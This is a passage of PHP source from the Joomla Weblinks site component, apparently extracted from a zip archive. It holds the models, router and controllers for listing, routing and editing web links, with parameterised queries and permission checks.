                $query->where('a.catid = :catid')
                    ->bind(':catid', $categoryId, ParameterType::INTEGER)
                    ->join('LEFT', '#__categories AS c ON c.id = a.catid')
                    ->whereIn($db->quoteName('c.access'), $viewLevels);
            }

            // Filter by published category
            $cpublished = $this->getState('filter.c.published');

            if (is_numeric($cpublished)) {
                $query->where('c.published = :published')
                    ->bind(':published', $cpublished, ParameterType::INTEGER);
            }
        }

        // Join over the users for the author and modified_by names.
        $query->select("CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author")
            ->select("ua.email AS author_email")
            ->join('LEFT', '#__users AS ua ON ua.id = a.created_by')
            ->join('LEFT', '#__users AS uam ON uam.id = a.modified_by');

        // Filter by state
        $state = $this->getState('filter.state');

        if (is_numeric($state)) {
            $query->where('a.state = :state')
                ->bind(':state', $state, ParameterType::INTEGER);
        }

        // Do not show trashed links on the front-end
        $query->where('a.state != -2');

        // Filter by start and end dates.
        if ($this->getState('filter.publish_date')) {
            $nowDate = Factory::getDate()->toSql();
            $query->where('(' . $db->quoteName('a.publish_up')
                . ' IS NULL OR ' . $db->quoteName('a.publish_up') . ' <= :publish_up)')
                ->where('(' . $db->quoteName('a.publish_down')
                    . ' IS NULL OR ' . $db->quoteName('a.publish_down') . ' >= :publish_down)')
                ->bind(':publish_up', $nowDate)
                ->bind(':publish_down', $nowDate);
        }

        // Filter by language
        if ($this->getState('filter.language')) {
            $query->whereIn($db->quoteName('a.language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING);
        }

        // Filter by search in title
        $search = $this->getState('list.filter');

        if (!empty($search)) {
            $search = '%' . trim($search) . '%';
            $query->where('(a.title LIKE :search)')
                ->bind(':search', $search);
        }

        // If grouping by subcategory, add the subcategory list ordering clause.
        if ($this->getState('category.group', 0)) {
            $query->order(
                $db->escape($this->getState('category.ordering', 'c.lft')) . ' ' .
                $db->escape($this->getState('category.direction', 'ASC'))
            );
        }

        // Add the list ordering clause.
        $query->order(
            $db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' .
            $db->escape($this->getState('list.direction', 'ASC'))
        );

        return $query;
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app    = Factory::getApplication();

        $params = $app->getParams();
        $this->setState('params', $params);

        // List state information
        $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
        $this->setState('list.limit', $limit);

        $limitstart = $app->getInput()->get('limitstart', 0, 'uint');
        $this->setState('list.start', $limitstart);

        // Optional filter text
        $this->setState('list.filter', $app->getInput()->getString('filter-search'));

        $orderCol = $app->getInput()->get('filter_order', 'ordering');

        if (!\in_array($orderCol, $this->filter_fields)) {
            $orderCol = 'ordering';
        }

        $this->setState('list.ordering', $orderCol);

        $listOrder = $app->getInput()->get('filter_order_Dir', 'ASC');

        if (!\in_array(strtoupper($listOrder), ['ASC', 'DESC', ''])) {
            $listOrder = 'ASC';
        }

        $this->setState('list.direction', $listOrder);

        $id = $app->getInput()->get('id', 0, 'int');
        $this->setState('category.id', $id);

        $user = $this->getCurrentUser();

        if (!$user->authorise('core.edit.state', 'com_weblinks') && !$user->authorise('core.edit', 'com_weblinks')) {
            // Limit to published for people who can't edit or edit.state.
            $this->setState('filter.state', 1);

            // Filter by start and end dates.
            $this->setState('filter.publish_date', true);
        }

        $this->setState('filter.language', Multilanguage::isEnabled());
    }

    /**
     * Method to get category data for the current category
     *
     * @return  object
     *
     * @since   1.5
     */
    public function getCategory()
    {
        if (!\is_object($this->_item)) {
            $params = $this->getState('params', new Registry());

            $options               = [];
            $options['countItems'] = $params->get('show_cat_num_links_cat', 1)
                || $params->get('show_empty_categories', 0);

            $categories  = Categories::getInstance('Weblinks', $options);
            $this->_item = $categories->get($this->getState('category.id', 'root'));

            if (\is_object($this->_item)) {
                $this->_children = $this->_item->getChildren();
                $this->_parent   = false;

                if ($this->_item->getParent()) {
                    $this->_parent = $this->_item->getParent();
                }

                $this->_rightsibling = $this->_item->getSibling();
                $this->_leftsibling  = $this->_item->getSibling(false);
            } else {
                $this->_children = false;
                $this->_parent   = false;
            }
        }

        return $this->_item;
    }

    /**
     * Get the parent category
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function getParent()
    {
        if (!\is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_parent;
    }

    /**
     * Get the leftsibling (adjacent) categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function &getLeftSibling()
    {
        if (!\is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_leftsibling;
    }

    /**
     * Get the rightsibling (adjacent) categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function &getRightSibling()
    {
        if (!\is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_rightsibling;
    }

    /**
     * Get the child categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function &getChildren()
    {
        if (!\is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_children;
    }

    /**
     * Increment the hit counter for the category.
     *
     * @param   integer  $pk  Optional primary key of the category to increment.
     *
     * @return  boolean  True if successful; false otherwise and internal error set.
     *
     * @since   3.2
     */
    public function hit($pk = 0)
    {
        $hitcount = Factory::getApplication()->getInput()->getInt('hitcount', 1);

        if ($hitcount) {
            $pk    = (!empty($pk)) ? $pk : (int) $this->getState('category.id');
            $table = new Category($this->getDatabase());
            $table->load($pk);
            $table->hit($pk);
        }

        return true;
    }
}
PK���\�* 77*com_weblinks/src/Model/CategoriesModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Model;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * This models supports retrieving lists of article categories.
 *
 * @since  1.6
 */
class CategoriesModel extends ListModel
{
    /**
     * Context string for the model type.  This is used to handle uniqueness
     * when dealing with the getStoreId() method and caching data structures.
     *
     * @var  string
     */
    protected $context = 'com_weblinks.categories';

    /**
     * The category context (allows other extensions to derived from this model).
     *
     * @var  string
     */
    protected $_extension = 'com_weblinks';

    /**
     * Parent category
     *
     * @var CategoryNode|null
     */
    private $_parent = null;

    /**
     * Categories data
     *
     * @var false|array
     */
    private $_items = null;

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app = Factory::getApplication();
        $this->setState('filter.extension', $this->_extension);
        // Get the parent id if defined.
        $parentId = $app->getInput()->getInt('id');
        $this->setState('filter.parentId', $parentId);
        $params = $app->getParams();
        $this->setState('params', $params);
        $this->setState('filter.published', 1);
        $this->setState('filter.access', true);
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return  string  A store id.
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= ':' . $this->getState('filter.extension');
        $id .= ':' . $this->getState('filter.published');
        $id .= ':' . $this->getState('filter.access');
        $id .= ':' . $this->getState('filter.parentId');

        return parent::getStoreId($id);
    }

    /**
     * Redefine the function and add some properties to make the styling more easy
     *
     * @return  mixed  An array of data items on success, false on failure.
     */
    public function getItems()
    {
        if ($this->_items === null) {
            $params                = $this->getState('params', new Registry());
            $options               = [];
            $options['access']     = $this->getState('filter.access');
            $options['published']  = $this->getState('filter.published');
            $options['countItems'] = $params->get('show_cat_num_links', 1) || !$params->get('show_empty_categories_cat', 0);
            $categories            = Categories::getInstance('Weblinks', $options);
            $this->_parent         = $categories->get($this->getState('filter.parentId', 'root'));
            if (\is_object($this->_parent)) {
                $this->_items = $this->_parent->getChildren();
            } else {
                $this->_items = false;
            }
        }

        return $this->_items;
    }

    /**
     * Get the parent
     *
     * @return  mixed  An array of data items on success, false on failure.
     */
    public function getParent()
    {
        if (!\is_object($this->_parent)) {
            $this->getItems();
        }

        return $this->_parent;
    }
}
PK���\l����'com_weblinks/src/Model/WeblinkModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Model;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\ItemModel;
use Joomla\CMS\Table\Table;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;

/**
 * Weblinks Component Model for a Weblink record
 *
 * @since  1.5
 */
class WeblinkModel extends ItemModel
{
    /**
     * Store loaded weblink items
     *
     * @var    array
     * @since  1.6
     */
    protected $_item = null;

    /**
     * Model context string.
     *
     * @var  string
     */
    protected $_context = 'com_weblinks.weblink';

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState()
    {
        $app = Factory::getApplication();

        // Load the object state.
        $pk = $app->getInput()->getInt('id');
        $this->setState('weblink.id', $pk);

        // Load the parameters.
        $params = $app->getParams();
        $this->setState('params', $params);

        $user = $this->getCurrentUser();

        if (!$user->authorise('core.edit.state', 'com_weblinks') && !$user->authorise('core.edit', 'com_weblinks')) {
            $this->setState('filter.published', 1);
            $this->setState('filter.archived', 2);
        }

        $this->setState('filter.language', Multilanguage::isEnabled());
    }

    /**
     * Method to get an object.
     *
     * @param   integer  $pk  The id of the object to get.
     *
     * @return  mixed  Object on success, false on failure.
     */
    public function getItem($pk = null)
    {
        $user = $this->getCurrentUser();

        $pk = (!empty($pk)) ? $pk : (int) $this->getState('weblink.id');

        if ($this->_item === null) {
            $this->_item = [];
        }

        if (!isset($this->_item[$pk])) {
            try {
                $db    = $this->getDatabase();
                $query = $db->getQuery(true)
                    ->select($this->getState('item.select', 'a.*'))
                    ->from('#__weblinks AS a')
                    ->where($db->quoteName('a.id') . ' = :id')
                    ->bind(':id', $pk, ParameterType::INTEGER);

                // Join on category table.
                $query->select('c.title AS category_title, c.alias AS category_alias, c.access AS category_access')
                    ->innerJoin('#__categories AS c on c.id = a.catid')
                    ->where('c.published > 0');

                // Join on user table.
                $query->select('u.name AS author')
                    ->join('LEFT', '#__users AS u on u.id = a.created_by');

                // Filter by language
                if ($this->getState('filter.language')) {
                    $query->whereIn($db->quoteName('a.language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING);
                }

                // Join over the categories to get parent category titles
                $query->select('parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias')
                    ->join('LEFT', '#__categories as parent ON parent.id = c.parent_id');

                if (!$user->authorise('core.edit.state', 'com_weblinks') && !$user->authorise('core.edit', 'com_weblinks')) {
                    // Filter by start and end dates.
                    $nowDate = Factory::getDate()->toSql();
                    $query->where('(' . $db->quoteName('a.publish_up')
                        . ' IS NULL OR ' . $db->quoteName('a.publish_up') . ' <= :publish_up)')
                        ->where('(' . $db->quoteName('a.publish_down')
                            . ' IS NULL OR ' . $db->quoteName('a.publish_down') . ' >= :publish_down)')
                        ->bind(':publish_up', $nowDate)
                        ->bind(':publish_down', $nowDate);
                }

                // Filter by published state.
                $published = $this->getState('filter.published');
                $archived  = $this->getState('filter.archived');

                if (is_numeric($published)) {
                    $query->whereIn($db->quoteName('a.state'), [$published, $archived]);
                }

                $db->setQuery($query);

                $data = $db->loadObject();

                if (empty($data)) {
                    throw new \Exception(Text::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND'), 404);
                }

                // Check for published state if filter set.
                if ((is_numeric($published) || is_numeric($archived)) && (($data->state != $published) && ($data->state != $archived))) {
                    throw new \Exception(Text::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND'), 404);
                }

                // Convert parameter fields to objects.
                $data->params   = new Registry($data->params);
                $data->metadata = new Registry($data->metadata);

                // Some contexts may not use tags data at all, so we allow callers to disable loading tag data
                if ($this->getState('load_tags', true)) {
                    $data->tags = new TagsHelper();
                    $data->tags->getItemTags('com_weblinks.weblink', $data->id);
                }

                // Compute access permissions.
                if ($this->getState('filter.access')) {
                    // If the access filter has been set, we already know this user can view.
                    $data->params->set('access-view', true);
                } else {
                    // If no access filter is set, the layout takes some responsibility for display of limited information.
                    $groups = $user->getAuthorisedViewLevels();
                    $data->params->set('access-view', \in_array($data->access, $groups) && \in_array($data->category_access, $groups));
                }

                $this->_item[$pk] = $data;
            } catch (\Exception $e) {
                $this->setError($e);
                $this->_item[$pk] = false;
            }
        }

        return $this->_item[$pk];
    }

    /**
     * Returns a reference to the a Table object, always creating it.
     *
     * @param   string  $type    The table type to instantiate
     * @param   string  $prefix  A prefix for the table class name. Optional.
     * @param   array   $config  Configuration array for model. Optional.
     *
     * @return  Table  A database object
     *
     * @since   1.6
     */
    public function getTable($type = 'Weblink', $prefix = 'Administrator', $config = [])
    {
        return parent::getTable($type, $prefix, $config);
    }

    /**
     * Method to increment the hit counter for the weblink
     *
     * @param   integer  $pk  Optional ID of the weblink.
     *
     * @return  boolean  True on success
     */
    public function hit($pk = null)
    {
        if (empty($pk)) {
            $pk = $this->getState('weblink.id');
        }

        return $this->getTable('Weblink')->hit($pk);
    }
}
PK���\]uo�uu%com_weblinks/src/Service/Category.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Service;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Categories\Categories;

/**
 * Weblinks Component Category Tree
 *
 * @since  1.6
 */
class Category extends Categories
{
    /**
     * Class constructor
     *
     * @param   array  $options  Array of options
     *
     * @since   1.7.0
     */
    public function __construct($options = [])
    {
        $options['table']     = '#__weblinks';
        $options['extension'] = 'com_weblinks';
        parent::__construct($options);
    }
}
PK���\�G�"�"#com_weblinks/src/Service/Router.phpnu�[���<?php

/**
 * @package         Joomla.Site
 * @subpackage      com_weblinks
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license         GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Service;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;

// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Categories\CategoryFactoryInterface;
use Joomla\CMS\Categories\CategoryInterface;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Component\Router\RouterView;
use Joomla\CMS\Component\Router\RouterViewConfiguration;
use Joomla\CMS\Component\Router\Rules\MenuRules;
use Joomla\CMS\Component\Router\Rules\NomenuRules;
use Joomla\CMS\Component\Router\Rules\StandardRules;
use Joomla\CMS\Menu\AbstractMenu;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;

/**
 * Routing class from com_weblinks
 *
 * @since  3.3
 */
class Router extends RouterView
{
    /**
     * Flag to remove IDs
     *
     * @var    boolean
     */
    protected $noIDs = false;

    /**
     * The category factory
     *
     * @var CategoryFactoryInterface
     *
     * @since  4.0.0
     */
    private $categoryFactory;

    /**
     * The category cache
     *
     * @var  array
     *
     * @since  4.0.0
     */
    private $categoryCache = [];

    /**
     * The db
     *
     * @var DatabaseInterface
     *
     * @since  4.0.0
     */
    private $db;

    /**
     * Weblinks Component router constructor
     *
     * @param   SiteApplication           $app              The application object
     * @param   AbstractMenu              $menu             The menu object to work with
     * @param   CategoryFactoryInterface  $categoryFactory  The category object
     * @param   DatabaseInterface         $db               The database object
     */
    public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)
    {
        $this->categoryFactory = $categoryFactory;
        $this->db              = $db;
        $params                = ComponentHelper::getParams('com_weblinks');
        $this->noIDs           = (bool)$params->get('sef_ids');
        $categories            = new RouterViewConfiguration('categories');
        $categories->setKey('id');
        $this->registerView($categories);
        $category = new RouterViewConfiguration('category');
        $category->setKey('id')->setParent($categories, 'catid')->setNestable();
        $this->registerView($category);
        $webLink = new RouterViewConfiguration('weblink');
        $webLink->setKey('id')->setParent($category, 'catid');
        $this->registerView($webLink);
        $form = new RouterViewConfiguration('form');
        $form->setKey('w_id');
        $this->registerView($form);
        parent::__construct($app, $menu);
        $this->attachRule(new MenuRules($this));
        $this->attachRule(new StandardRules($this));
        $this->attachRule(new NomenuRules($this));
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $id     ID of the category to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getCategorySegment($id, $query)
    {
        $category = $this->getCategories()->get($id);
        if ($category) {
            $path    = array_reverse($category->getPath(), true);
            $path[0] = '1:root';
            if ($this->noIDs) {
                foreach ($path as &$segment) {
                    list($id, $segment) = explode(':', $segment, 2);
                }
            }

            return $path;
        }

        return [];
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $id     ID of the category to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getCategoriesSegment($id, $query)
    {
        return $this->getCategorySegment($id, $query);
    }

    /**
     * Method to get the segment(s) for a weblink
     *
     * @param   string  $id     ID of the weblink to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getWeblinkSegment($id, $query)
    {
        if (!strpos($id, ':')) {
            $id      = (int)$id;
            $dbquery = $this->db->getQuery(true);
            $dbquery->select($this->db->quoteName('alias'))
                ->from($this->db->quoteName('#__weblinks'))
                ->where($this->db->quoteName('id') . ' = :id')
                ->bind(':id', $id, ParameterType::INTEGER);
            $this->db->setQuery($dbquery);
            $id .= ':' . $this->db->loadResult();
        }

        if ($this->noIDs) {
            list($void, $segment) = explode(':', $id, 2);

            return [$void => $segment];
        }

        return [(int)$id => $id];
    }

    /**
     * Method to get the segment(s) for a form
     *
     * @param   string  $id     ID of the weblink form to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     *
     * @since   4.0.0
     */
    public function getFormSegment($id, $query)
    {
        return $this->getWeblinkSegment($id, $query);
    }

    /**
     * Method to get the id for a category
     *
     * @param   string  $segment  Segment to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getCategoryId($segment, $query)
    {
        if (isset($query['id'])) {
            $category = $this->getCategories(['access' => false])->get($query['id']);
            if ($category) {
                foreach ($category->getChildren() as $child) {
                    if ($this->noIDs) {
                        if ($child->alias == $segment) {
                            return $child->id;
                        }
                    } else {
                        if ($child->id == (int)$segment) {
                            return $child->id;
                        }
                    }
                }
            }
        }

        return false;
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $segment  Segment to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getCategoriesId($segment, $query)
    {
        return $this->getCategoryId($segment, $query);
    }

    /**
     * Method to get the segment(s) for a weblink
     *
     * @param   string  $segment  Segment of the weblink to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getWeblinkId($segment, $query)
    {
        if ($this->noIDs) {
            $dbquery = $this->db->getQuery(true);
            $dbquery->select($this->db->quoteName('id'))
                ->from($this->db->quoteName('#__weblinks'))
                ->where([
                    $this->db->quoteName('alias') . ' = :alias',
                    $this->db->quoteName('catid') . ' = :catid',
                ])
                ->bind(':alias', $segment)
                ->bind(':catid', $query['id'], ParameterType::INTEGER);
            $this->db->setQuery($dbquery);

            return (int)$this->db->loadResult();
        }

        return (int)$segment;
    }

    /**
     * Method to get categories from cache
     *
     * @param   array  $options  The options for retrieving categories
     *
     * @return  CategoryInterface  The object containing categories
     *
     * @since   4.0.0
     */
    private function getCategories(array $options = []): CategoryInterface
    {
        $key = serialize($options);
        if (!isset($this->categoryCache[$key])) {
            $this->categoryCache[$key] = $this->categoryFactory->createCategory($options);
        }

        return $this->categoryCache[$key];
    }
}
PK���\�FD�)$)$1com_weblinks/src/Controller/WeblinkController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Controller;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\FormController;
use Joomla\CMS\Uri\Uri;
use Joomla\Utilities\ArrayHelper;

/**
 * Weblinks class.
 *
 * @since  1.5
 */
class WeblinkController extends FormController
{
    /**
     * The URL view item variable.
     *
     * @var    string
     * @since  1.6
     */
    protected $view_item = 'form';

    /**
     * The URL view list variable.
     *
     * @var    string
     * @since  1.6
     */
    protected $view_list = 'categories';

    /**
     * The URL edit variable.
     *
     * @var    string
     * @since  3.2
     */
    protected $urlVar = 'a.id';

    /**
     * Method to add a new record.
     *
     * @return  boolean  True if the article can be added, false if not.
     *
     * @since   1.6
     */
    public function add()
    {
        if (!parent::add()) {
            // Redirect to the return page.
            $this->setRedirect($this->getReturnPage());
            return false;
        }

        return true;
    }

    /**
     * Method override to check if you can add a new record.
     *
     * @param   array  $data  An array of input data.
     *
     * @return  boolean
     *
     * @since   1.6
     */
    protected function allowAdd($data = [])
    {
        $categoryId = ArrayHelper::getValue($data, 'catid', $this->input->getInt('id'), 'int');
        if ($categoryId) {
            // If the category has been passed in the URL check it.
            return $this->app->getIdentity()->authorise('core.create', $this->option . '.category.' . $categoryId);
        }

        // In the absence of better information, revert to the component permissions.
        return parent::allowAdd($data);
    }

    /**
     * Method to check if you can add a new record.
     *
     * @param   array   $data  An array of input data.
     * @param   string  $key   The name of the key for the primary key.
     *
     * @return  boolean
     *
     * @since   1.6
     */
    protected function allowEdit($data = [], $key = 'id')
    {
        $recordId   = (int) isset($data[$key]) ? $data[$key] : 0;
        if (!$recordId) {
            return false;
        }

        $record     = $this->getModel()->getItem($recordId);
        $categoryId = (int) $record->catid;
        if ($categoryId) {
            // The category has been set. Check the category permissions.
            $user = $this->app->getIdentity();
            // First, check edit permission
            if ($user->authorise('core.edit', $this->option . '.category.' . $categoryId)) {
                return true;
            }

            // Fallback on edit.own
            if ($user->authorise('core.edit.own', $this->option . '.category.' . $categoryId) && $record->created_by == $user->id) {
                return true;
            }

            return false;
        }

        // Since there is no asset tracking, revert to the component permissions.
        return parent::allowEdit($data, $key);
    }

    /**
     * Method to cancel an edit.
     *
     * @param   string  $key  The name of the primary key of the URL variable.
     *
     * @return  boolean  True if access level checks pass, false otherwise.
     *
     * @since   1.6
     */
    public function cancel($key = 'w_id')
    {
        $return = parent::cancel($key);
        // Redirect to the return page.
        $this->setRedirect($this->getReturnPage());
        return $return;
    }

    /**
     * Method to edit an existing record.
     *
     * @param   string  $key     The name of the primary key of the URL variable.
     * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
     *
     * @return  boolean  True if access level check and checkout passes, false otherwise.
     *
     * @since   1.6
     */
    public function edit($key = null, $urlVar = 'w_id')
    {
        return parent::edit($key, $urlVar);
    }

    /**
     * Method to get a model object, loading it if required.
     *
     * @param   string  $name    The model name. Optional.
     * @param   string  $prefix  The class prefix. Optional.
     * @param   array   $config  Configuration array for model. Optional.
     *
     * @return  object  The model.
     *
     * @since   1.5
     */
    public function getModel($name = 'form', $prefix = 'Site', $config = ['ignore_request' => true])
    {
        return parent::getModel($name, $prefix, $config);
    }

    /**
     * Gets the URL arguments to append to an item redirect.
     *
     * @param   integer  $recordId  The primary key id for the item.
     * @param   string   $urlVar    The name of the URL variable for the id.
     *
     * @return  string  The arguments to append to the redirect URL.
     *
     * @since   1.6
     */
    protected function getRedirectToItemAppend($recordId = null, $urlVar = null)
    {
        $append = parent::getRedirectToItemAppend($recordId, $urlVar);
        $itemId = $this->input->getInt('Itemid');
        $return = $this->getReturnPage();
        if ($itemId) {
            $append .= '&Itemid=' . $itemId;
        }

        if ($return) {
            $append .= '&return=' . base64_encode($return);
        }

        return $append;
    }

    /**
     * Get the return URL if a "return" variable has been passed in the request
     *
     * @return  string  The return URL.
     *
     * @since   1.6
     */
    protected function getReturnPage()
    {
        $return = $this->input->get('return', null, 'base64');
        if (empty($return) || !Uri::isInternal(base64_decode($return))) {
            return Uri::base();
        }

        return base64_decode($return);
    }

    /**
     * Method to save a record.
     *
     * @param   string  $key     The name of the primary key of the URL variable.
     * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
     *
     * @return  boolean  True if successful, false otherwise.
     *
     * @since   1.6
     */
    public function save($key = null, $urlVar = 'w_id')
    {
        // Get the application
        $app = $this->app;
        // Get the data from POST
        $data = $this->input->post->get('jform', [], 'array');
        // Save the data in the session.
        $app->setUserState('com_weblinks.edit.weblink.data', $data);
        $result = parent::save($key, $urlVar);
        // If ok, redirect to the return page.
        if ($result) {
            // Flush the data from the session
            $app->setUserState('com_weblinks.edit.weblink.data', null);
            $this->setRedirect($this->getReturnPage());
        }

        return $result;
    }

    /**
     * Go to a weblink
     *
     * @return  void
     *
     * @throws \Exception
     *
     * @since   1.6
     */
    public function go()
    {
        // Get the ID from the request
        $id = $this->input->getInt('id');
        // Get the model, requiring published items
        $modelLink = $this->getModel('Weblink');
        $modelLink->setState('filter.published', 1);
        // Get the item
        $link = $modelLink->getItem($id);
        // Make sure the item was found.
        if (empty($link)) {
            throw new \Exception(Text::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND'), 404);
        }

        // Check whether item access level allows access.
        $groups = $this->app->getIdentity()->getAuthorisedViewLevels();
        if (!\in_array($link->access, $groups)) {
            throw new \Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
        }

        // Check whether category access level allows access.
        $modelCat = $this->getModel('Category', 'Site', ['ignore_request' => true]);
        $modelCat->setState('filter.published', 1);
        // Get the category
        $category = $modelCat->getCategory($link->catid);
        // Make sure the category was found.
        if (empty($category)) {
            throw new \Exception(Text::_('COM_WEBLINKS_ERROR_WEBLINK_NOT_FOUND'), 404);
        }

        // Check whether item access level allows access.
        if (!\in_array($category->access, $groups)) {
            throw new \Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
        }

        // Redirect to the URL
        if ($link->url) {
            $modelLink->hit($id);
            $this->app->redirect($link->url, 301);
        }

        throw new \Exception(Text::_('COM_WEBLINKS_ERROR_WEBLINK_URL_INVALID'), 404);
    }
}
PK���\�:|��	�	1com_weblinks/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Controller;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;

/**
 * Weblinks Component Controller
 *
 * @since  1.5
 */
class DisplayController extends BaseController
{
    /**
     * Method to display a view.
     *
     * @param   boolean  $cacheable  If true, the view output will be cached
     * @param   array    $urlparams  An array of safe url parameters and their variable types,
     *                               for valid values see {@link JFilterInput::clean()}.
     *
     * @return  BaseController  This object to support chaining.
     *
     * @since   1.5
     */
    public function display($cacheable = false, $urlparams = false)
    {
        // Huh? Why not just put that in the constructor?
        $cacheable = true;
        /**
         * Set the default view name and format from the Request.
         * Note we are using w_id to avoid collisions with the router and the return page.
         * Frontend is a bit messier than the backend.
         */
        $id    = $this->input->getInt('w_id');
        $vName = $this->input->get('view', 'categories');
        $this->input->set('view', $vName);
        if ($this->app->getIdentity()->id || ($this->input->getMethod() == 'POST' && $vName == 'categories')) {
            $cacheable = false;
        }

        $safeurlparams = [
            'id'               => 'INT',
            'limit'            => 'UINT',
            'limitstart'       => 'UINT',
            'filter_order'     => 'CMD',
            'filter_order_Dir' => 'CMD',
            'lang'             => 'CMD',
        ];
        // Check for edit form.
        if ($vName == 'form' && !$this->checkEditId('com_weblinks.edit.weblink', $id)) {
            // Somehow the person just went to the form - we don't allow that.
            throw new \Exception(Text::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id), 403);
        }

        return parent::display($cacheable, $safeurlparams);
    }
}
PK���\P�8``-com_weblinks/src/Helper/AssociationHelper.phpnu�[���<?php

/**
